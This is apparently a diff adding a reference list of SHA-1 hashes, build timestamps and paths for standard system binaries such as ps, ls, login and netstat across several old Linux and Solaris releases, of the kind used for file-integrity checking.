Wed Aug 23 18:41:04 2006 /usr/bin/find [CentOS 4.4 x86_64] +FEBE850391A2308E9F5AF41BF4A4A7A36DF6E476 Tue Aug 15 20:33:04 2006 /bin/sh [CentOS 4.4 x86_64] + +F2870B47240377CE4F50E2B6F62DD76103BADE01 Sun Jan 7 01:35:59 2007 /sbin/arp [CentOS 5.0 x86_64] +CD0EEC9BD4413396EE4A7AB714E2867C74348563 Sun Jan 7 01:35:59 2007 /bin/netstat [CentOS 5.0 x86_64] +797C4D210291F123AC22B74EB01DB8872989B0C4 Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.0 x86_64] +D3F4E67DDC228F8693F747053D267CFFB6664479 Wed Mar 14 20:40:45 2007 /sbin/modinfo [CentOS 5.0 x86_64] +2079A5ABE78F8D83C59CA6B02F00AAA3E0316616 Wed Mar 14 23:01:13 2007 /usr/bin/w [CentOS 5.0 x86_64] +642FE8C4B885FF50C0B3C6CE09B4283766FB4B52 Wed Mar 14 23:01:13 2007 /bin/ps [CentOS 5.0 x86_64] +DB4216FBE5C3C984E8848EAAADA0AAAAE9AA50B3 Thu Mar 15 01:46:12 2007 /usr/bin/telnet [CentOS 5.0 x86_64] +31C8D8F011F4BD5A670E6E83F979B9D43859CA6F Thu Mar 15 02:30:33 2007 /bin/login [CentOS 5.0 x86_64] +299BE90CE120D677DD82C4CA4F5CF15EF1FA10AE Wed Mar 21 21:19:15 2007 /bin/su [CentOS 5.0 x86_64] +C41FA4A49A588194AF6DD7802D4C036D1795CF75 Wed Mar 21 21:19:18 2007 /bin/rm [CentOS 5.0 x86_64] +AD3B16C1677F197B6A9B77C632E42995114A6FF6 Wed Mar 21 21:19:18 2007 /bin/ls [CentOS 5.0 x86_64] +11FFBA6B432B2AEAB2F6FCD335AD4E4CD9D41BD8 Sat Jan 6 04:22:43 2007 /bin/sh [CentOS 5.0 x86_64] + +2215145018A8D11449B11F6733E7841A02E8BD95 Wed Sep 27 07:59:21 2006 /usr/bin/find [CentOS 4.8] +48CE9EAE07855A22B257BCE2F52D9FC5F9A880AD Sat Nov 17 12:08:40 2007 /usr/bin/telnet [CentOS 4.8] +140B23C45812617044720E669D5EF1CD6DF13A85 Fri Jul 25 13:04:24 2008 /usr/sbin/xinetd [CentOS 4.8] +FB0F83433ED7EEEB2F51E064BCE9D5B81B58AE75 Fri Jul 25 15:00:47 2008 /sbin/arp [CentOS 4.8] +E67C3CFE1A50A0F382E6A5BBE9D1C4A63DE29FF3 Fri Jul 25 15:00:47 2008 /bin/netstat [CentOS 4.8] +B0F430A1F68BE32C7A2335D723ED78A44D4C409F Mon Jun 1 18:00:38 2009 /sbin/modinfo [CentOS 4.8] +998FF4BCBB5F6AB9ABC41DD6E9F72731D04DE753 Mon Jun 1 18:14:42 2009 /bin/login [CentOS 4.8] +03E6617F47EDE1BAE882AEC72ACE46978723155C Mon Jun 1 18:37:46 2009 /usr/bin/w [CentOS 4.8] +C17521C8A507ECB291E265EC5A0059C46E242130 Mon Jun 1 18:37:46 2009 /bin/ps [CentOS 4.8] +51828647DA502400ED7D2CBC46FE934D3D5D7A39 Thu Jul 2 16:53:03 2009 /bin/su [CentOS 4.8] +CFCD06E219F3DA60A728B4ED70F845F7C6ABE0FA Thu Jul 2 16:53:07 2009 /bin/rm [CentOS 4.8] +85207087AEAFE67E94FB71330F52F0938BA0488C Thu Jul 2 16:53:07 2009 /bin/ls [CentOS 4.8] +8E9768481AB1B5550B2EA2AD33C4158547B65053 Mon Jun 1 14:47:46 2009 /bin/sh [CentOS 4.8] + +2408040D25263B9C889B9D654FCABEC2D99395F2 Mon Jun 25 14:39:30 2001 /usr/bin/find [RedHat 7.2] +7A10D2D6DF14DACFD891113044B8BABE56B129FF Mon Jul 23 16:23:45 2001 /bin/su [RedHat 7.2] +68D68D9B0AD34BBED571D16447DEFA787CEBCA1C Tue Jul 24 11:55:20 2001 /usr/sbin/in.rshd [RedHat 7.2] +3EBBB91D6CBAB4D8948034BEB55BBC6DB3F4BD7A Tue Jul 24 11:55:20 2001 /usr/sbin/in.rlogind [RedHat 7.2] +5BEC0AF53A8F8ABF58D07467764598E318D45F4E Tue Jul 31 15:56:52 2001 /sbin/arp [RedHat 7.2] +E55548F9F26E7E7CD9C2CE67D6D486FA8D7966D9 Tue Jul 31 15:56:53 2001 /bin/netstat [RedHat 7.2] +D3BF295852A0F388634F78AF61BD9C67C673F01D Thu Aug 9 13:01:20 2001 /bin/rm [RedHat 7.2] +6DFE962EE3ECCE023DA0D56029E045DB2899DF92 Thu Aug 9 13:01:19 2001 /bin/ls [RedHat 7.2] +35C239D270979E4B8647E897AA5A2591E076E102 Sun Aug 26 22:51:37 2001 /bin/login [RedHat 7.2] +0B1E24D258395F4D7FAA9B52F8B6072311C3A6DB Tue Aug 28 03:16:31 2001 /usr/bin/w [RedHat 7.2] +F1677FF001E09138C36D6780321927EA2B7BC56E Tue Aug 28 03:16:31 2001 /bin/ps [RedHat 7.2] +FC84AF0E9B871629E1EF4839553D76DD613D84FD Wed Aug 29 18:21:15 2001 /sbin/modinfo [RedHat 7.2] +665AC0622346D4D37190C33BC56D5596C4BF4A69 Wed Aug 29 21:20:09 2001 /usr/sbin/xinetd [RedHat 7.2] +DCD8A2392D148F9D954AEB61E1F9EFA4BE30452D Thu Sep 6 07:45:47 2001 /usr/sbin/in.telnetd [RedHat 7.2] +9546B47C3299E2CD1C6D0C636D16AB9E9BFBFE00 Thu Sep 6 07:45:47 2001 /usr/bin/telnet [RedHat 7.2] +363096C16F4ABB9E0A1B9FD1EC8459886887BB47 Mon Jul 9 12:56:21 2001 /bin/sh [RedHat 7.2] + +5A43FF6F9D2A448EC8F035E467CAE671207C0341 Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.0 x86_64] +511AF62BA177BA550628BB5976304344D89A67EF Mon Aug 7 11:18:26 2006 /sbin/arp [RedHat Enterprise 5.0 x86_64] +B5C44D8A431A835AD93D17964ED344DF81E480B2 Mon Aug 7 11:18:26 2006 /bin/netstat [RedHat Enterprise 5.0 x86_64] +054A6ADFE0E9B813273F20266688AFA3227B5D81 Wed Nov 8 13:48:22 2006 /usr/bin/telnet [RedHat Enterprise 5.0 x86_64] +CF11CA9807762DDC007B428004E38AD4D5E7A3E2 Mon Nov 27 16:47:11 2006 /bin/su [RedHat Enterprise 5.0 x86_64] +DAE80262E7C46250506C473A819BC09B84F4BDB5 Mon Nov 27 16:47:19 2006 /bin/rm [RedHat Enterprise 5.0 x86_64] +244701E27101F48239446772DA36F65DE6B76ED0 Mon Nov 27 16:47:19 2006 /bin/ls [RedHat Enterprise 5.0 x86_64] +92D15495317BF5655598633D73C73974830B756E Tue Nov 28 14:06:40 2006 /usr/bin/w [RedHat Enterprise 5.0 x86_64] +8B3D89866034C5A091BEDD2D10228A2F1CBD24A1 Tue Nov 28 14:06:40 2006 /bin/ps [RedHat Enterprise 5.0 x86_64] +F1AC9091C6F3DAFFE28F8A973F046E0575E081DD Thu Jan 11 16:10:10 2007 /bin/login [RedHat Enterprise 5.0 x86_64] +AE66CABC610FB7165E1201D88028B75BAF4363DB Wed Jan 17 16:01:05 2007 /sbin/modinfo [RedHat Enterprise 5.0 x86_64] +9FE33ED5E25B28EA69914C273FB90B0ACEEBB819 Wed Jul 12 07:11:42 2006 /bin/sh [RedHat Enterprise 5.0 x86_64] + +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.5 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.5 x86_64] +8F9BC95B7045E9BDC921ED140B4AC54D1A94C75A Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.5 x86_64] +A0567A5C306873DED4A22AD4C7B6C0F913C14AB1 Wed May 2 21:06:50 2007 /sbin/arp [CentOS 4.5 x86_64] +13EDCA1086CDB62026A1EF50B88618FC7EBAF861 Wed May 2 21:06:50 2007 /bin/netstat [CentOS 4.5 x86_64] +B41AB09255BFD6FACF44461819655DE2A7639F30 Thu May 3 02:08:17 2007 /usr/bin/w [CentOS 4.5 x86_64] +8ADA093992F1C0C9FDA5F42E4C9D7825A37758FD Thu May 3 02:08:17 2007 /bin/ps [CentOS 4.5 x86_64] +0FDA981DB1AF55C0E5D3F7941796408DA6E333A4 Thu May 3 04:17:30 2007 /sbin/modinfo [CentOS 4.5 x86_64] +2C9027CE09313BBD50775AF6D4AD8D0A4ADFFB9E Thu May 3 23:58:56 2007 /bin/login [CentOS 4.5 x86_64] +A729D8F4443BBCCF65BAA647B3E7A06B9A4CB031 Sat May 5 08:13:31 2007 /bin/su [CentOS 4.5 x86_64] +B27D2FF8C6653F33053C379EC76BDBC8F866B982 Sat May 5 08:13:38 2007 /bin/rm [CentOS 4.5 x86_64] +59D483D207D0C45CEB4EDCC49F1ACB6ED3CD3EEA Sat May 5 08:13:39 2007 /bin/ls [CentOS 4.5 x86_64] +B38673A6220E79D5FE965C810A17AD29D7F26F76 Tue Aug 15 20:33:04 2006 /bin/sh [CentOS 4.5 x86_64] + +68D68D9B0AD34BBED571D16447DEFA787CEBCA1C Tue Jul 24 11:55:20 2001 /usr/sbin/in.rshd [RedHat 7.3] +3EBBB91D6CBAB4D8948034BEB55BBC6DB3F4BD7A Tue Jul 24 11:55:20 2001 /usr/sbin/in.rlogind [RedHat 7.3] +DCD8A2392D148F9D954AEB61E1F9EFA4BE30452D Thu Sep 6 07:45:47 2001 /usr/sbin/in.telnetd [RedHat 7.3] +9546B47C3299E2CD1C6D0C636D16AB9E9BFBFE00 Thu Sep 6 07:45:47 2001 /usr/bin/telnet [RedHat 7.3] +34E503B559852AB8908502B4658AD2AE5C1F3F6C Tue Feb 26 17:50:38 2002 /usr/bin/find [RedHat 7.3] +458DB732C975C4C55976FE4173FCE1CE926F9CB4 Mon Mar 25 01:23:18 2002 /bin/rm [RedHat 7.3] +497E2DCC29D13AE718FBFB7CD4F88027138E012A Mon Mar 25 01:23:18 2002 /bin/ls [RedHat 7.3] +0A74FA4B1DC40EE29284F55798B56CA67A9A2C3F Mon Apr 1 23:26:23 2002 /bin/login [RedHat 7.3] +D2141246EA5129E828CB0EFF1B8A9ADD4EE2F33A Thu Apr 4 22:30:50 2002 /usr/sbin/xinetd [RedHat 7.3] +7CFD480FE12092653CD6DC3DE071B9BDC24564A6 Mon Apr 8 16:02:11 2002 /bin/su [RedHat 7.3] +2C904E2EB78DD066F8AE950CEDFAF0B4CB31C0F3 Fri Apr 12 04:26:19 2002 /sbin/arp [RedHat 7.3] +413BDA08012BA9B388586EC5D4E2B48E496E0203 Fri Apr 12 04:26:19 2002 /bin/netstat [RedHat 7.3] +4EC3FD6F844BB476CBB0174D8EFFAFDB14BFD1A3 Mon Apr 15 20:59:55 2002 /usr/bin/w [RedHat 7.3] +FFDAF0D89E62825C19E0D71DA4B8C9DCBC226C24 Mon Apr 15 20:59:55 2002 /bin/ps [RedHat 7.3] +5D02FB86E5320EFCC30C2C2EAC7062496BA3F197 Tue Apr 16 22:46:34 2002 /sbin/modinfo [RedHat 7.3] +F70539BB32961F3D7DBA42A9C51442C1218A9100 Fri Apr 12 16:09:54 2002 /bin/sh [RedHat 7.3] + +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.6 x86_64] +0C1514978EA9DC725D6FBCECEF8540B4BCBE4E2F Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.6 x86_64] +A0567A5C306873DED4A22AD4C7B6C0F913C14AB1 Wed May 2 21:06:50 2007 /sbin/arp [CentOS 4.6 x86_64] +13EDCA1086CDB62026A1EF50B88618FC7EBAF861 Wed May 2 21:06:50 2007 /bin/netstat [CentOS 4.6 x86_64] +E1AD52DBAB5CAACB9AFC37C6404E46136530A369 Thu May 3 04:17:30 2007 /sbin/modinfo [CentOS 4.6 x86_64] +8465AA99D8200C005F9537EC9A53C9ED3661C7C9 Sat Nov 17 01:23:25 2007 /usr/bin/w [CentOS 4.6 x86_64] +828F2A3C7C24BB34BD7A5BAA762BF8885ACEA937 Sat Nov 17 01:23:25 2007 /bin/ps [CentOS 4.6 x86_64] +A3B0118D481BEEB2799B1AE5DC8FAD03D8A4D256 Sat Nov 17 13:03:33 2007 /usr/bin/telnet [CentOS 4.6 x86_64] +FE1539C906FED72FBD254515AFE6ED6F2EDB1A01 Sun Nov 18 11:40:26 2007 /bin/login [CentOS 4.6 x86_64] +A729D8F4443BBCCF65BAA647B3E7A06B9A4CB031 Sun Nov 18 13:17:10 2007 /bin/su [CentOS 4.6 x86_64] +BFB76BACE0B2DFD07149A2A41A9592B42CB1FF34 Sun Nov 18 13:17:17 2007 /bin/rm [CentOS 4.6 x86_64] +59D483D207D0C45CEB4EDCC49F1ACB6ED3CD3EEA Sun Nov 18 13:17:18 2007 /bin/ls [CentOS 4.6 x86_64] +662C012383154E1AFA593F30BC6247730BC862D2 Sat Nov 17 00:31:58 2007 /bin/sh [CentOS 4.6 x86_64] + +E6A45BDD6740C39C684B22519B3169C0C6582A7F Mon Oct 16 11:30:16 2006 /usr/sbin/arp [Ubuntu 7.04] +1520B9B49943CFCA1D018BF20645DAB1F8D682A0 Mon Oct 16 11:30:16 2006 /bin/netstat [Ubuntu 7.04] +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Fri Nov 17 12:22:27 2006 /usr/sbin/update-inetd [Ubuntu 7.04] +AFFC4C4C17C71FE7C4223A1B22B6FF29C49C637C Tue Dec 19 20:35:14 2006 /bin/su [Ubuntu 7.04] +6F75D538623A8753E481E52B91A08F5CF80AA4BB Tue Dec 19 20:35:14 2006 /bin/login [Ubuntu 7.04] +F8D6BA0BB29814C348C1C04F356D3FF65E17CF8F Mon Mar 5 06:25:01 2007 /bin/rm [Ubuntu 7.04] +9CEF16D6FA0FD887F9FC66CB76D6A7B2B1CAEBE3 Mon Mar 5 06:25:01 2007 /bin/ls [Ubuntu 7.04] +F6EB766C9FA659FFF074698E5213ADE1F89919C6 Mon Mar 5 06:52:43 2007 /usr/bin/find [Ubuntu 7.04] +44CEC1D5CD818551F02B3FDA837F4325DC22C8B0 Wed Mar 7 21:42:02 2007 /bin/ps [Ubuntu 7.04] +C7F429B7415CF150E2BDC331CF99AB6A0B0FD696 Tue Apr 3 14:03:45 2007 /sbin/modinfo [Ubuntu 7.04] +F310F475148B9CE2B59F9DF25A34830506B1F71B Mon Mar 5 06:00:01 2007 /bin/sh [Ubuntu 7.04] +FEE66F19580408C653A50615152A8DD25764102C Wed Mar 7 21:42:02 2007 /usr/bin/w [Ubuntu 7.04] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 7.04] + +35822096360B54928DF6692D6221D470045CF82E Sat Mar 19 19:18:39 2005 /usr/bin/w [SuSE 9.3] +B3585C5ACE324ECD9C43478307CFCC88FB09E5DC Sat Mar 19 19:18:23 2005 /usr/bin/telnet [SuSE 9.3] +8ED38BF4D2BC647B9FCE0FD593206EBAE9E80067 Sat Mar 19 19:18:39 2005 /bin/ps [SuSE 9.3] +B600A8102D0734CC21D49D25E699238C1F6A4B03 Sat Mar 19 19:25:18 2005 /usr/sbin/in.tftpd [SuSE 9.3] +CEC52C68569F8C7620E7F192A2A0D0C31ABAFDE5 Sat Mar 19 19:54:27 2005 /sbin/arp [SuSE 9.3] +2032E28407C8C69CC248B002F9E6162C8E0D6FBB Sat Mar 19 19:54:27 2005 /bin/netstat [SuSE 9.3] +1603A1E2CF15C48792394504651CD4340B6F00D9 Sat Mar 19 20:06:52 2005 /usr/sbin/rinetd [SuSE 9.3] +5ECA2F14A55620EBF07ACB8F76A89579D5B3957A Sat Mar 19 20:18:33 2005 /usr/bin/find [SuSE 9.3] +A2CCABCEE88C988126357AAA19CD7F9576AFD4E8 Sat Mar 19 20:18:34 2005 /usr/sbin/xinetd [SuSE 9.3] +5BC798D6A91A2952180308C40483025259A9FF13 Sat Mar 19 20:28:24 2005 /bin/su [SuSE 9.3] +50EEF8B61BBD1E57B48BD07E52FCA242DFC08BDF Sat Mar 19 20:28:25 2005 /bin/rm [SuSE 9.3] +3F8D4117BA71BF7A99BBDE908F02D8BEDD6B5263 Sat Mar 19 20:28:24 2005 /bin/ls [SuSE 9.3] +CF5CB062D0CC3DF29BA35F77A73CBB74D3D9CB69 Sat Mar 19 20:57:54 2005 /usr/sbin/vsftpd [SuSE 9.3] +433828B77F4AA6DDB9486F1853DBF68ACED34C0C Sat Mar 19 21:12:55 2005 /bin/login [SuSE 9.3] +5246BC431A6B433BC96D21F7C2F8E474041095D6 Tue Mar 22 19:05:15 2005 /sbin/modinfo [SuSE 9.3] +F7C5B7BB1A18B7636E8BAD070DAB7FB744BECB26 Sat Mar 19 19:17:58 2005 /bin/sh [SuSE 9.3] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Sat Mar 19 20:18:34 2005 /usr/sbin/rcxinetd [SuSE 9.3] +E39DD80CC9F1123773308B1DDB290D46DF62DD96 Sat Mar 19 20:06:52 2005 /usr/sbin/rcrinetd [SuSE 9.3] + +EC952D71BC77FBF74F6C3D0E67AD2D6D81482949 Tue Jun 8 02:28:16 2004 /sbin/arp [Mandriva 10.2] +1827CAA00B2F78E3C2EBE339C0C852EC8594AD20 Tue Jun 8 02:28:16 2004 /bin/netstat [Mandriva 10.2] +9E7E23A84934486FF2BFDF8285682C0ED7468D4A Wed Jan 26 11:22:28 2005 /usr/bin/w [Mandriva 10.2] +050F7B8319F002E8EFDFA054591E0BA4A72C3ED8 Wed Jan 26 11:22:28 2005 /bin/ps [Mandriva 10.2] +BEA641D6FFCBF6F77C9E5FF650D5D9341A39637C Thu Feb 10 17:52:10 2005 /bin/su [Mandriva 10.2] +866B4153FF7FA41A339780CC4DA453CFD6C77557 Thu Feb 10 17:52:10 2005 /bin/rm [Mandriva 10.2] +7C46F22FE4618357DC1C7D38EE0FC42D6D0C13B5 Thu Feb 10 17:52:10 2005 /bin/ls [Mandriva 10.2] +7823D377C6A64A923B039F2C4811F314BDBE45DB Fri Mar 4 16:38:20 2005 /bin/login [Mandriva 10.2] +B1A8703124EFCCC894432E1AF8145401CC1D5734 Tue Mar 8 11:43:32 2005 /bin/find [Mandriva 10.2] +FDC4F99846B586AEDA5FDB82E1C2E25838DEADB4 Tue Mar 22 10:10:34 2005 /usr/bin/login [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/proftpd [Mandriva 10.2] +5EF59AD2139FB10C80314E025F939E26705C12B3 Wed Apr 6 17:49:01 2005 /usr/bin/telnet [Mandriva 10.2] +8A31C5AE40CDF50ED5CAD963A91530392137B408 Fri Jan 7 10:15:54 2005 /bin/sh [Mandriva 10.2] +B1A8703124EFCCC894432E1AF8145401CC1D5734 Tue Mar 8 11:43:32 2005 /usr/bin/find [Mandriva 10.2] +F6602896DA1A9E7E0A3907DAC715376FA378EBC9 Fri Feb 11 16:19:17 2005 /sbin/modinfo [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/in.ftpd [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/in.proftpd [Mandriva 10.2] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.6 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.6 x86_64] +BF12EDBD1FE444F0D909BAC3BE2D8DF34B6ED0D2 Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.6 x86_64] +E40F4E01F87D1AEB8664F7FF079EFD25B17F2C23 Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.6 x86_64] +D2E2C924BDCBD2FF8B2C38913C83431059E02C83 Thu Nov 19 14:21:03 2009 /sbin/arp [RedHat Enterprise 5.6 x86_64] +F078C9FE63B5AD0420394C4A6CE8EA5B152E9E83 Thu Nov 19 14:21:03 2009 /bin/netstat [RedHat Enterprise 5.6 x86_64] +4A28415BB418160142354685CCE696309A58B9ED Tue Feb 9 09:59:28 2010 /usr/bin/w [RedHat Enterprise 5.6 x86_64] +42DE8290DCF70E0B935FCFE03B6667B3DD5A828A Tue Feb 9 09:59:28 2010 /bin/ps [RedHat Enterprise 5.6 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Tue Feb 23 09:53:57 2010 /bin/su [RedHat Enterprise 5.6 x86_64] +E45DFC3E7B023E0999D8365AFB78F75C06CF27A6 Tue Feb 23 09:54:02 2010 /bin/rm [RedHat Enterprise 5.6 x86_64] +A093FB02C48F202810B0DE7D592ABF5E2E56DE36 Tue Feb 23 09:54:02 2010 /bin/ls [RedHat Enterprise 5.6 x86_64] +194BECC1C46A6283910EA8F919C841EE82EEA499 Wed Sep 22 11:28:02 2010 /bin/login [RedHat Enterprise 5.6 x86_64] +9A57ADBB6EDA11B18EB9B25FA8D3097FB8C28D80 Thu Sep 30 21:33:04 2010 /sbin/modinfo [RedHat Enterprise 5.6 x86_64] +3D18E4FA7EF0922C5DA17DF2ADBFB12250347B1B Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.6 x86_64] + +8B480D9FFB0BD2C2573E213EA1790AAC4BA059A0 Wed Nov 25 12:07:23 2009 /sbin/modinfo [RedHat Enterprise 4.0 x86_64] +C87A3739D48602E5855AE05A55BD95B5E3D54F34 Tue Mar 9 13:29:56 2010 /usr/bin/telnet [RedHat Enterprise 4.0 x86_64] +3A1D4AB87D156F42709366D0FBA71262D18698F6 Mon May 24 15:46:24 2010 /bin/find [RedHat Enterprise 4.0 x86_64] +87425F8FF1A4F254FD19E8D12E8A999C54D5622C Fri Oct 1 11:04:55 2010 /bin/su [RedHat Enterprise 4.0 x86_64] +E37585ECD85CA5F0028A9056E816E2977BC4D987 Fri Oct 1 11:04:56 2010 /bin/rm [RedHat Enterprise 4.0 x86_64] +357837AA39950233D939ACC0609830560679E198 Fri Oct 1 11:04:57 2010 /bin/ls [RedHat Enterprise 4.0 x86_64] +F9C905D93BADAE748595F32F49C4259D3E6BC3B0 Tue Oct 5 22:36:11 2010 /sbin/arp [RedHat Enterprise 4.0 x86_64] +30EF64317572148588F49B8BECC497FB2F66F37C Tue Oct 5 22:36:11 2010 /bin/netstat [RedHat Enterprise 4.0 x86_64] +6F7CCB194C2591B599CB81D493AC4F8A505EBE50 Tue Oct 5 22:42:00 2010 /usr/bin/w [RedHat Enterprise 4.0 x86_64] +B7D4BE14CFC74415DE95227B5C9AFE748A4089C7 Tue Oct 5 22:42:00 2010 /bin/ps [RedHat Enterprise 4.0 x86_64] +855707CF636CC488634307EA01F398E702C62638 Mon Oct 11 07:13:06 2010 /bin/login [RedHat Enterprise 4.0 x86_64] +55DF4B383FA794C79F77D7D049795D87CA1672A9 Tue Jun 22 15:15:21 2010 /bin/sh [RedHat Enterprise 4.0 x86_64] +3A1D4AB87D156F42709366D0FBA71262D18698F6 Mon May 24 15:46:24 2010 /usr/bin/find [RedHat Enterprise 4.0 x86_64] + +C2A3A24677920F8C53ABC713A61AF1652DB6831A Thu Jul 13 15:58:33 2006 /usr/bin/find [RedHat Enterprise 5.1] +505FAA9ABED9928A53A5621424A06B1006565C80 Mon Aug 7 11:18:31 2006 /sbin/arp [RedHat Enterprise 5.1] +FF2A830AE90392690C51D660EDC6CD6784953B2B Mon Aug 7 11:18:31 2006 /bin/netstat [RedHat Enterprise 5.1] +428D96115D5DCF3556ED73A95ABE3F8D4096B416 Wed Nov 8 13:52:06 2006 /usr/bin/telnet [RedHat Enterprise 5.1] +073877693F7258C3FC8A49E871829A79DD6C099E Mon Nov 27 16:47:04 2006 /bin/su [RedHat Enterprise 5.1] +3D4FBF738DFD5978EDB33BCB848A08B16EAEA7F7 Mon Nov 27 16:47:11 2006 /bin/rm [RedHat Enterprise 5.1] +B578B2BC75B064FE428BD9024D406DDD1AB6578E Mon Nov 27 16:47:11 2006 /bin/ls [RedHat Enterprise 5.1] +2626E20BE1F6C4A82585D249C1AB20AE085C4450 Tue Nov 28 14:06:34 2006 /usr/bin/w [RedHat Enterprise 5.1] +DA64088EE35F6AB040BE37404DDEB191D6AA4AF7 Tue Nov 28 14:06:34 2006 /bin/ps [RedHat Enterprise 5.1] +ACDCCBFAB14A480B97C13C3ABF63B2EF0AD9EA50 Mon Jun 25 09:43:10 2007 /bin/login [RedHat Enterprise 5.1] +A5F758C1AD8988468FC671357AE15392F321D183 Wed Sep 5 16:57:47 2007 /sbin/modinfo [RedHat Enterprise 5.1] +EF4C60BED8CA4DB913C7D28EC5D02B0E2E3B847D Wed Jul 12 07:11:53 2006 /bin/sh [RedHat Enterprise 5.1] + +9BAE36C1006106AD893A7E5605FBECDE0CC10132 Thu Jul 13 01:22:18 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.2] +5BA606A0F59AED590DA09E17BF9AE2A9207FBAE2 Thu Jul 13 15:58:33 2006 /usr/bin/find [RedHat Enterprise 5.2] +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.2] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.2] +394A7CE0A44B5D6F0901BBCB622ED82E6B357609 Fri Nov 30 12:44:37 2007 /bin/su [RedHat Enterprise 5.2] +4946B25573C71DDA1BE1C3B59BADE1899BA89605 Fri Nov 30 12:44:44 2007 /bin/rm [RedHat Enterprise 5.2] +399C95CC46B3ECCF243A6DA9BB5B74D90843D315 Fri Nov 30 12:44:44 2007 /bin/ls [RedHat Enterprise 5.2] +63CD882455E40564AE124104BBF6D02B5F5C9F00 Wed Jan 2 08:53:12 2008 /usr/bin/w [RedHat Enterprise 5.2] +1B2F3C73AB73A8E6A70EC4428BDA80CD8BE47E35 Wed Jan 2 08:53:12 2008 /bin/ps [RedHat Enterprise 5.2] +3BCEC106071120D99807052E97FD0388C2FB5F82 Thu Jan 17 17:47:15 2008 /sbin/modinfo [RedHat Enterprise 5.2] +FEAF9D1FD9B39206563CFD6D1259533BFDE8A214 Mon Mar 3 18:43:38 2008 /bin/login [RedHat Enterprise 5.2] +CBCC8B23A01101E27779D7668BF86F8F8B0568D0 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.2] +89EA3B8086E025337DACFC2EAF30D8DF5A8F89FE Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.2] +B5F977C6C81C9D6CDC094F0D9850246DCDDC6CC6 Fri Feb 1 11:44:21 2008 /bin/sh [RedHat Enterprise 5.2] + +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/ps [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/w [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/ps [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/w [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/ps [Solaris 2.8 Generic x86] +9C05ABE244AABF1B8775D4163ABA08583BFC04F3 Wed Jan 5 22:27:48 2000 /usr/sbin/arp [Solaris 2.8 Generic x86] +6EA87DEFC1D74A3D82C20EE7B423CD1C73C91FD4 Wed Jan 5 22:27:50 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /bin/telnet [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /usr/bin/telnet [Solaris 2.8 Generic x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /bin/ls [Solaris 2.8 Generic x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /usr/bin/ls [Solaris 2.8 Generic x86] +AC4A5636FE6E800668E736FC22E6A270B8924C97 Wed Jan 5 22:45:43 2000 /usr/sbin/modinfo [Solaris 2.8 Generic x86] +A14AE352AEF52332E4EDF85F7934CB6D0A9CE815 Wed Jan 5 22:49:09 2000 /bin/rm [Solaris 2.8 Generic x86] +A14AE352AEF52332E4EDF85F7934CB6D0A9CE815 Wed Jan 5 22:49:09 2000 /usr/bin/rm [Solaris 2.8 Generic x86] +8DD28E646113245EEC7DDB0894C60A6A0487FF1F Wed Jan 5 23:14:36 2000 /usr/ucb/ls [Solaris 2.8 Generic x86] +FB099C696D4384EB1DE0E3E0D79D2368789FE4EF Thu Nov 30 13:42:41 2000 /usr/sbin/in.telnetd [Solaris 2.8 Generic x86] +1FE034C41BC744FBE0E87E01E04BFCBF1CBE68AE Thu May 24 22:56:20 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic x86] +9368068399E5853A42CB88C181C3E975958195B0 Wed Jun 27 13:54:42 2001 /usr/sbin/inetd [Solaris 2.8 Generic x86] 